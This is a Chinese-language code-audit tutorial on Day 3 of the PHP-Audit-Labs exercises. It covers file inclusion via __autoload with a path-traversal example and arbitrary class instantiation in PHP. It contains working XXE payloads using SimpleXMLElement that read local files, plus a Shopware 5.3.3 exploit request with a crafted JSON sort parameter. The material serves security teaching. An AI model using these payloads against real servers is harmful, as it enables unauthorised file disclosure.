开始练习【红日团队】的PHP-Audit-Labs 代码审计 Day3
链接:https://github.com/hongriSec/PHP-Audit-Labs
感兴趣的同学可以去练习练习
预备知识:
内容题目均来自 PHP SECURITY CALENDAR 2017
Day 3 - Snow Flake 代码如下:
function __autoload($className) {
include $className;
}
$controllerName = $_GET['c'];
$data = $_GET['d'];
if (class_exists($controllerName)) {
$controller = new $controllerName($data['t'], $data['v']);
$controller->render();
} else {
echo 'There is no page with this name';
}
class HomeController {
private $template;
private $variables;
public function __construct($template, $variables) {
$this->template = $template;
$this->variables = $variables;
}
public function render() {
if ($this->variables['new']) {
echo 'controller rendering new response';
} else {
echo 'controller rendering old response';
}
}
}
漏洞解析 :
这段代码中存在两个安全漏洞。
第一个漏洞是文件包含漏洞
,代码中第8行
中使用了 class_exists()
函数来判断用户传过来的控制器是否存在,
if (class_exists($controllerName)) {
默认情况下,如果程序存在 __autoload
函数,那么在使用 class_exists()
函数就会自动调用本程序中的 __autoload
函数,这题的文件包含漏洞就出现在这个地方。攻击者可以使用 路径穿越 (详情)来包含任意文件,当然使用路径穿越符号的前提是 PHP5~5.3(包含5.3版本)
版本 之间才可以。例如类名为: ../../../../etc/passwd 的查找,将查看passwd文件内容
class_exists() 函数的定义:
功能:
(PHP 4, PHP 5, PHP 7)
class_exists — 检查类是否已定义
定义:
class_exists ( string $class_name [, bool $autoload = true ] ) : bool
如果由 class_name
所指的类已经定义,此函数返回 TRUE
,否则返回 FALSE
。
说明:
参数 | 说明 |
---|---|
class_name | 类名。名字的匹配是不分区大小写的。 |
autoload | 是否默认调用 __autoload。 |
第二个漏洞
:在代码第9行中,
$controller = new $controllerName($data['t'], $data['v']);
我们发现实例化类的类名和传入类的参数均在用户的控制之下。攻击者可以通过该漏洞,调用PHP代码库的任意构造函数。即使代码本身不包含易受攻击的构造函数,我们也可以使用PHP的内置类 SimpleXMLElement
来进行 XXE攻击,进而读取目标文件的内容,甚至命令执行(前提是安装了PHP拓展插件expect
)。
SimpleXMLElement 类的定义:
功能:
(PHP 5, PHP 7)
用来表示XML文档中的元素,为PHP的内置类。
关于 SimpleXMLElement
导致的XXE
攻击,下面再给出一个demo案例,方便大家理解:
<?php
$xml=<<<eof
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE ANY[
<! ENTITY xxe SYSTEM "file:///D:/phpStudy/PHPTutorial/WWW/array/flag.txt">
]>
<x>&xxe;</x>
eof;
$xml_class=new SimpleXMLElement($xml,LIBXML_NOENT);
var_dump($xml_class);
?>
//运行结果:
//object(SimpleXMLElement)#1 (1){[0]=> string(17) "flag{aaa_xxx_bbb}"}
实例分析:
Shopware 5.3.3环境折腾了半天装不上,这里就无法复现了。 看看大佬的思路吧
本次实例分析,我们选取的是
Shopware 5.3.3
版本,对SimpleXMLElement
类导致的XXE漏洞
进行分析。
漏洞POC 本站提供安全工具、程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!
漏洞分析:
我们来看一下本次漏洞的文件,在 engine\Shopware\Controllers\Backend\ProductStream.php
文件中有一个 loadPreviewAction
方法(第6行),其作用是用来预览产品流的详细信息,具体代码如下:
该方法接收从用户传来的参数 sort
,然后传入 Repository
类的 unserialize
方法(如上图第11-14行代码),我们跟进 Repository
类,查看 unserialize
方法的实现。该方法我们可以在 engine\Shopware\Components\ProductStream\Repository.php
文件中找到,代码如下:
可以看到 Repository
类的 unserialize
方法,调用的是 LogawareReflectionHelper
类的 unserialize
方法(如上图第5行代码),该方法我们可以在 engine\Shopware\Components\LogawareReflectionHelper.php
文件中找到,具体代码如下:
这里的 $serialized
就是我们刚刚传入的 sort
(上图第3行),程序分别从 sort
中提取出值赋给 $className
和 $arguments
变量,然后这两个变量被传入 ReflectionHelper
类的createInstanceFromNamedArguments
方法。该方法位于 engine\Shopware\Components\ReflectionHelper.php
文件,具体代码如下:
这里我们关注 第6行 代码,这里创建了一个反射类,而类的名称就是从 $sort
变量来的,可被用户控制利用。继续往下看,在代码第28行处用$newParams
作为参数,创建一个新的实例对象。而这里的 $newParams
是从$arguments[$paramName]
中取值的,$arguments
又是我们可以控制的,因为也是从$sort
变量来,所以我们可以通过这里来实例化一个SimpleXMLElement
类对象,形成一个XXE漏洞。下面,我们来看看具体如何利用这个漏洞。
漏洞利用:
首先,我们需要登录后台,找到调用 loadPreviewAction 接口的位置,发现其调用位置如下:
当我们点击 Refresh preview
按钮时,就会调用loadPreviewAction
方法,用BurpSuite抓到包如下:
GET /shopware520/backend/ProductStream/loadPreview?_dc=1530963660916&sort={"Shopware\\Bundle\\SearchBundle\\Sorting\\PriceSorting":{"direction":"asc"}}&conditions={}&shopId=1¤cyId=1&customerGroupKey=EK&page=1&start=0&limit=2 HTTP/1.1
Host: localhost
X-CSRF-Token: IKiwilE7pecuIUmEAJigyg6fVXY6vR
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36
Accept: */*
Referer: http://localhost/shopware520/backend/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: SHOPWAREBACKEND=78ghtddjn8n8efpv1cudj6eao0; KCFINDER_showname=on; KCFINDER_showsize=off; KCFINDER_showtime=off; KCFINDER_order=name; KCFINDER_orderDesc=off; KCFINDER_view=thumbs; KCFINDER_displaySettings=off; goods[cart]=180615151154565652; XDEBUG_SESSION=PHPSTORM
Connection: close
我们可以看到sort
值为{"Shopware\\Bundle\\SearchBundle\\Sorting\\PriceSorting":{"direction":"asc"}}
,于是我们按照其格式构造payload:{"SimpleXMLElement":{"data":"http://localhost/xxe.xml","options":2,"data_is_url":1,"ns":"","is_prefix":0}}
,关于payload的含义,可以看看 SimpleXMLElement
类的 __construct
函数定义,具体点 这里
final public SimpleXMLElement::__construct ( string $data [, int $options = 0 [, bool $data_is_url = FALSE [, string $ns = "" [, bool $is_prefix = FALSE ]]]] )
笔者所用的xxe.xml内容如下:
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "file:///C:/phpStudy/PHPTutorial/WWW/flag.txt">
]>
<x>&xxe;</x>
我们发送payload,并用xdebug调试程序,最后程序将我们读取的值存储在$conditions
变量中,如下图所示:
修复建议:
关于PHP中XXE漏洞的修复,我们可以过滤关键词,如: ENTITY 、 SYSTEM 等,另外,我们还可以通过禁止加载XML实体对象的方式,来防止XXE漏洞(如下图第2行代码),具体代码如下:
结语
再次感谢【红日团队】